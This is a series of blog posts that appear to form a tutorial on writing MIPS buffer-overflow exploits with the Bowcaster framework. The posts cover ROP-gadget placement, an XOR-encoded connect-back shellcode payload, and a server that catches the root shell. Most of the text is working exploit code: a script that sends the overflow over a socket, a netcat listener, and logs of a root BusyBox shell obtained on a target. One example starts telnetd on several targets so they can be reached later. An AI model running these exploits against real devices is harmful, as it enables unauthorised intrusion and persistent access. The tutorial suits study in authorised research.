In previous parts of the Bowcaster tutorial, I showed how to construct your buffer overflow using the OverflowBuffer class.  I also mentioned there is another class, EmptyOverflowBuffer, that I would explain later.  That class is going to be the topic of this post.

When I started development of Bowcaster, I created it for myself and for the way I develop exploits and think about buffer overflows.   The OverflowBuffer class works the way I think.  But when I talked to my colleague, Craig Heffner, about the project, Craig preferred a different API, I realized that we each think about the same problem in different ways.

Like I explained previously, the OverflowBuffer class lets you start with an exploit buffer of a prescribed length, filled with a non-repeating pattern.  You then start replacing parts of your buffer with things like ROP gadgets and shellcode.

Craig wanted an API that would start you with an zero length exploit buffer you could grow by appending ROP gadgets, strings and the like.  I couldn't reconcile this proposed API with what I had developed already because, at a fundamental level, we differ in how we visualize the exploit.

OverflowBuffer and EmptyOverflowBuffer each have their advantages.  OverflowBuffer allows the developer to add ROP gadgets and shellcode in an arbitrary order.  I like to visualize the sequence in which the ROP gadgets and shellcode will be executed, and add those pieces to the exploit buffer in that order.

If, on the other hand, you like to visualize the physical layout of your exploit buffer in memory, and want to add the pieces in that order, EmptyOveflowBuffer is probably for you.

Here's an example of creating an EmptyOverflowBuffer instance:


from bowcaster.development.overflowbuilder import EmptyOverflowBuffer
from bowcaster.common.support import LittleEndian

badchars=['\0',0x0d,'\n',0x20]
buf=EmptyOverflowBuffer(LittleEndian,default_base=libc_base,badchars=badchars,maxlength=2048)

With this class, we have no need for the SectionCreator object, since there is no notion of "replacement sections".  Also note the optional 'max_length' parameter.  Omitting this parameter will mean you can grow your exploit buffer to arbitrary length.  If you provide a maximum length, an exception is raised if adding a section would exceed the specified length.

There are three types of sections you can add: a string, a pattern section, or a ROP gadget.  You may add an arbitrary string using the add_string() method.  For example, you may want to append a long string of 'A's, or your shellcode string.

Adding a pattern section using add_pattern() creates pattern sequence of the specified length.  Note the start of the sequence is calibrated to the start of the overflow buffer and the current offset.  This means a given sub-sequence of the pattern will always be at the same offset into the buffer regardless what other sections came before it.

Here's an example of what I mean:

>>> buf1.add_pattern(8)
>>> buf1.add_pattern(12)
>>> print buf1
Aa0Aa1Aa2Aa3Aa4Aa5Aa

>>> buf2.add_pattern(6)
>>> buf2.add_string("A"*8)
>>> buf2.add_pattern(6)
>>> print buf2
Aa0Aa1AAAAAAAA4Aa5Aa

Above, two buffers are created of length 20.  The second one has a section of 8 'A's in the middle.  However, the sub-sequence 'a5Aa' is at the end of both.  This consistent sequence alignment helps with exploit debugging.

To add a ROP gadget, use the add_rop_gadget() method.  You can specify and optional 'base_address=' parameter if the base address for this gadget's library is different than the default base provided to the constructor.

Another thing to note about this API is that pattern sections are specified in terms of length, not offset.  The offset is implicit; it is simply the buffer's current length.  So if you know offsets into your buffer from where data will get loaded into various registers, you'll need to compute the length of the pattern filler's in between.

Here's an example:


#first function epilogue
ra=528

#second function epilogue
s0=620
s2=628

buf.add_pattern(ra) #$ra loaded from offset 528
buf.add_rop_gadget(0x31b44,
            description="[$ra] function epilogue that sets up $s1-$s7")

buf.add_pattern(s0-buf.len())
buf.add_rop_gadget(0x506c0,
            description="[$s0] Address of sleep() in libc. be sure to set up $ra and $a0 before calling.")

buf.add_pattern(s2-buf.len())
buf.add_rop_gadget(0x427a4,
            description="[$s2] placeholder, derefed without crashing.")

In the example we know the offsets into the buffer from where $ra, $s0, and $s2 will get loaded.  We must specify filler patterns of the right length such that the ROP gadgets will land at the proper offsets and get loaded into the proper registers.  This differs from the combination of SectionCreator and OverflowBuffer where you don't specify filler sections at all (they are implicit) and instead specify ROP gadgets in terms of the offsets.

There is an advantage to this method.  This API only allows you to to append sections one after another, so there's no way to have overlapping sections.  As I explained previously, with OverflowBuffer, if any of the sections overlap, an exception is raised.

Adding a payload is essentially the same.  Create a payload object as before, then use add_string() to append the payload to your exploit buffer. Here's an example:


payload=ConnectbackPayload(CALLBACK_IP,LittleEndian)
encoded_payload=MipsXorEncoder(payload,LittleEndian,badchars=badchars)

buf.add_pattern(shellcode_return-buf.len())
buf.add_string(encoded_payload.shellcode,
            description="encoded connect back payload")


The complete working example can be found in doc/examples/overflow_example_2.py in the Bowcaster source, or click here.

Monday, April 08, 2013

Buffer Overflows with Bowcaster Part 4

In part 1 of the Bowcaster tutorial I showed how to generate an overflow string with the OverflowBuffer class. In part 2, I showed how to populate your your overflow string with ROP gadgets. In part 3, I showed how to add Bowcaster's connect-back payload for MIPS Linux to your overflow string. I also showed how to encode your payload using Bowcaster's MIPS Linux-specific XOR encoder in order to sanitize restricted bytes.

Part 3 ended by using a netcat listener to serve a connect-back root shell.  In this part I'll show how to use one of Bowcaster's server modules to replace netcat.

Bowcaster provides a couple of server modules to receive connections from connect-back payloads.  The one we're interested in for this tutorial is imaginatively called ConnectbackServer.

Import it into your exploit code like so:


from bowcaster.servers.connectback_server import ConnectbackServer

In part 3, we create a payload object by first creating a ConnectbackHost object and passing it to ConnectbackPayload().  Creating the server works the same way.  Using the same host for both payload and server ensure the payload connects back to the right IP address and port.


connectback_host=ConnectbackHost(CALLBACK_IP) #default port is 8080
connectback_server=ConnectbackServer(connectback_host,startcmd="/bin/sh -i")
payload=ConnectbackPayload(connectback_host,LittleEndian)
#create string section from payload.shellcode,
#and instantiate buffer overflow
#See part 3.


The ConnectBack server class provides some features that you don't get with a simple netcat listener.  First, it gives you the ability to automatically execute a command on the target upon connection.  More on this in a bit.

More importantly, by forking into the background and operating asynchronously, ConnectbackServer gives you the ability to serve a connection right from your exploit script rather than having to fire up a listener in a separate session. For example:


#Start server
connectback_server.serve_connectback()

#Throw exploit
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((addr,port))
print("sending exploit.")
sock.send(str(buf))
sock.close()

#Wait for connect-back server to finish up.
connectback_server.wait()

Here it is in action:


zach@zolan:~/code/bowcaster/doc/examples (0) $ ./overflow_example_1.py 192.168.1.1 9999
 [@] bad char count: 4
 [@] No bad bytes in decoder stub.
 [@] length of encoded shellcode, including stub is: 304
 [@] Length of overflow: 1300
Listening on port 8080

Waiting for incoming connection.

sending exploit.
Target has phoned home.



BusyBox v1.7.2 (2011-09-14 10:39:57 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# cat /proc/version
cat /proc/version
Linux version 2.6.22 (peter@localhost.localdomain) (gcc version 4.2.3) #1 Wed Sep 14 10:38:51 CST 2011
#

Like I mentioned above, the ConnectbackServer class takes an optional 'startcmd' argument to its constructor.  This is useful in a few ways.  First, I like to use /bin/sh -i just because it looks nicer to have that familiar root '#'.  But you may want to issue a command to restart the exploited service, that way your target is automatically prepped for re-exploitation.

But, there's another optional argument to ConnectbackServer that, when combined with startcmd, is pretty cool.  You can optionally specify connectback_shell=False.  If you do this, then ConnectbackServer will not provide an interactive shell.  Instead it will send the start command if you provided one, and then immediately close the connection.  Why is this useful?  Say you wanted to exploit a list of ten targets and have them automatically prepped for interactive login whenever you're ready.  You could do:


server=ConnectbackServer(connectback_host,startcmd='/sbin/telnetd',connectback_shell=False)

By specifying startcmd='/bin/telnetd' and connectback_shell=False, you could have the target await your login via telnet at your convenience.

I hope this is useful.  Be sure to send me screenshots of some of your root prompts.

Crossbow is now Bowcaster

Crossbow has been renamed to Bowcaster. It turns out "Crossbow" is a popular word.  Who knew?  A company in California has the word registered as a trademark in the US in connection with computer software.  They might be cool with us using the word, since this is an open-source, noncommercial product, but we've decided to change the name just in case.  Hopefully the new name is esoteric enough to avoid any naming conflicts, while still being cool and fun to say.  I left the original post as-is, save for an update note and a new Github link.  The old Github project will stay up for a while, but you should use the new one from this point on.

Here's the new Github project: https://github.com/zcutlip/bowcaster.git

I plan to update the existing tutorials accordingly, and hopefully get some new ones up in the next few days.

Thanks for your patience, and apologies the inconvenience.

Friday, March 29, 2013

Buffer Overflows with Bowcaster Part 3

This is the third part in a multi part tutorial on using the Bowcaster exploit development framework to build a buffer overflow exploit. Here are part 1 and part 2.

In the last part, we had built an exploit buffer and added a ROP chain that would flush the MIPS CPU cache, locate the stack (which is randomized), and return into it.  Now it's time to add a payload.

Bowcaster provides a few MIPS Linux payloads, and the one we'll use for this buffer overflow is the connect-back payload, which will yield an interactive shell.

In order to create a payload object, you must pass the constructor a ConnectbackHost object.  The host object is created from the IP address and TCP port you want your target to connect back to.  The "port=" parameter is optional and defaults to 8080.


from bowcaster.servers import ConnectbackHost

connectback_host=ConnectbackHost("192.168.1.2") #default port is 8080

Then you pass your host object to the constructor of the payload object:


from bowcaster.servers import ConnectbackHost
from bowcaster.payloads.mips.connectback_payload import ConnectbackPayload

connectback_host=ConnectbackHost("192.168.1.2") #default port is 8080
payload=ConnectbackPayload(connectback_host,LittleEndian)

In addition to the host object, the payload constructor requires an endianness parameter.

Payload objects have a shellcode attribute that you can use to create a string section.  Add the new string section to your list of replacement sections that will be passed into the OverflowBuffer constructor.  Here's an example, trimmed for brevity:



from bowcaster.servers import ConnectbackHost
from bowcaster.payloads.mips.connectback_payload import ConnectbackPayload

sections=[]

#function_epilogue_rop
section=SC.gadget_section(528,0x31b44,
            description="[$ra] function epilogue that sets up $s1-$s7")
sections.append(section)

#....Abbreviated...
#....Construct ROP chain

connectback_host=ConnectbackHost("192.168.1.2") #default port is 8080
payload=ConnectbackPayload(connectback_host,LittleEndian)

section=SC.string_section(700,payload.shellcode,
            description="connect-back payload")
sections.append(section)
buf=OverflowBuffer(LittleEndian,1300,sections)


If you have a set of restricted bytes that you must avoid in your buffer overflow, you may want to use an encoder. You also will want to use an encoder if your connect-back address or port will contain nul bytes, such as 192.168.0.1. Bowcaster provides an XOR encoder that will attempt to encode your payload, sanitizing out your bad bytes.

Similar to normal payloads, encoded payloads have a shellcode attribute.  Below is the previous example, modified to encode the payload.


from bowcaster.servers import ConnectbackHost
from bowcaster.payloads.mips.connectback_payload import ConnectbackPayload

sections=[]

#function_epilogue_rop
section=SC.gadget_section(528,0x31b44,
            description="[$ra] function epilogue that sets up $s1-$s7")
sections.append(section)

#....Abbreviated...
#....Construct ROP chain

connectback_host=ConnectbackHost("192.168.1.2") #default port is 8080
payload=ConnectbackPayload(connectback_host,LittleEndian)

#XOR encode the payload.
encoded_payload=MipsXorEncoder(payload,LittleEndian,badchars=badchars)
section=SC.string_section(700,encoded_payload.shellcode,
            description="encoded connect-back payload")
sections.append(section)

buf=OverflowBuffer(LittleEndian,1300,sections)


There are some important things to note about the encoder.  First, it only encodes your payload.  So if there are bad bytes in your ROP chain, there's nothing the encoder can do about that.  As I explained in the previous part, if you attempt to create a replacement section with SectionCreator that would have bad bytes, it'll let you know by raising an exception.  So at least there's that.

Also, the XOR encoder scans its decoder stub, which, of course, has to stay unencoded, for your bad bytes and will raise an exception if it fails that test.

Additionally, the XOR encoder takes an optional parameter, "key=", which needs to be a 4-byte integer.  If you provide this, the encoder will attempt to use that key to encode your payload.  If the key itself or the encoded payload contains any of your bad bytes, an exception is raised.  If you don't provide a key, it generates one randomly.  It will make a certain number of attempts[1] to generate a key and encode your payload without bad bytes.  If it exceeds the maximum number of attempts without a successful encode, an exception is raised.  This brute-force method is kind of a pain because it means sometimes the encode will be successful, other times it won't.  It may fail once, then succeed if you run it again.  Boo.  If you have just two or three bad bytes, the encode will almost always succeed. The more you have the less likely it will succeed.  Anyway, the encoder logs the key that it used.  If you find one that works, then save it and pass it to the constructor from then on to make sure your encode always works.

At this point you should have a complete, working buffer overflow exploit that will cause your target to connect back to the specified host and port.  You can accept the incoming connection with a traditional netcat listener:


zach@endor:/Volumes/Users/share/code/bowcaster (130) $ nc -l 8080
/bin/sh -i


BusyBox v1.7.2 (2011-09-14 10:39:57 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

#

# cat /proc/version

Linux version 2.6.22 (peter@localhost.localdomain) (gcc version 4.2.3) #1 Wed Sep 14 10:38:51 CST 2011
#


In the next part, I'll show how to use one of the connect-back servers provided by Bowcaster in place of the netcat listener.

UPDATE 4/8/2013: References to Crossbow have been changed to Bowcaster
UPDATE 4/17/2013: Added explanation about payload and encoded payloads having a shellcode attribute.
--------------------
[1] I may make this tunable or self-tuning in the future. Not sure. Open to ideas on this.